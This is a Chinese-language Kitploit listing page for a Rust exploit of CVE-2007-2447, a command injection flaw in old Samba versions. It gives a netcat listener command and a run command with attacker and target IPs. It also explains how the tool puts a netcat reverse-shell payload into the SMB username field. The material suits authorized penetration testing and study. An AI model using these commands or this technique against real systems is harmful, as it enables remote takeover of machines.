Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2007-2447 — 针对 Samba smbd 3.0.20-Debian 的 CVE-2007-2447 漏洞利用的独立 Rust 实现。 | Kitploit
工具/GitHubGitHub/nika0x38/cve-2007-2447
漏洞分析漏洞利用渗透测试命令与控制远程访问工具Payload 开发
GitHubnika0x38/cve-2007-2447

CVE-2007-2447

针对 Samba smbd 3.0.20-Debian 的 CVE-2007-2447 漏洞利用的独立 Rust 实现。

查看仓库
111个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2007-2447 Samba 漏洞利用程序

Rust Security

一个针对 Samba smbd 3.0.20-Debian 的 CVE-2007-2447 漏洞的独立 Rust 实现。

漏洞描述

CVE-2007-2447 是 Samba 3.0.0 至 3.0.25rc3 版本中的一个命令注入漏洞。该漏洞存在于 SamrChangePassword() 函数中,该函数未能正确清理用户输入,攻击者可以通过在 SMB 认证期间在用户名字段中使用 shell 元字符来执行任意命令。

前提条件

  • 系统已安装 Rust
  • 目标运行存在漏洞的 Samba 版本
  • 目标必须安装有 netcat(通常默认安装)

使用方法

root@kitploit:~
cargo run -- --lhost <attacker-ip> --lport <attacker-port> --target <target-ip>

示例

root@kitploit:~
# 设置一个 netcat 监听器
nc -lvnp 4444

# 运行漏洞利用程序
cargo run -- --lhost 10.10.14.170 --lport 4444 --target 192.168.1.100

选项

  • --lhost:你攻击机器的 IP 地址
  • --lport:接收反向 shell 连接的端口
  • --target:目标机器的 IP 地址

工作原理

  1. 直接在代码中生成 netcat 反向 shell 载荷
  2. 使用反引号将载荷注入 SMB 用户名字段
  3. 向 445 端口发送一个格式错误的 SMB 会话建立请求
  4. 利用 Samba 用户名处理中的命令注入漏洞
  5. 在目标上执行反向 shell 载荷

特性

  • 独立运行:无需 Metasploit 等外部依赖
  • 可移植:可在任何安装了 Rust 的系统上运行
  • 快速:不会产生外部进程

免责声明

此工具仅用于教育和授权渗透测试目的。请负责任地使用,并且仅在您拥有或获得明确许可的系统上使用。

下载工具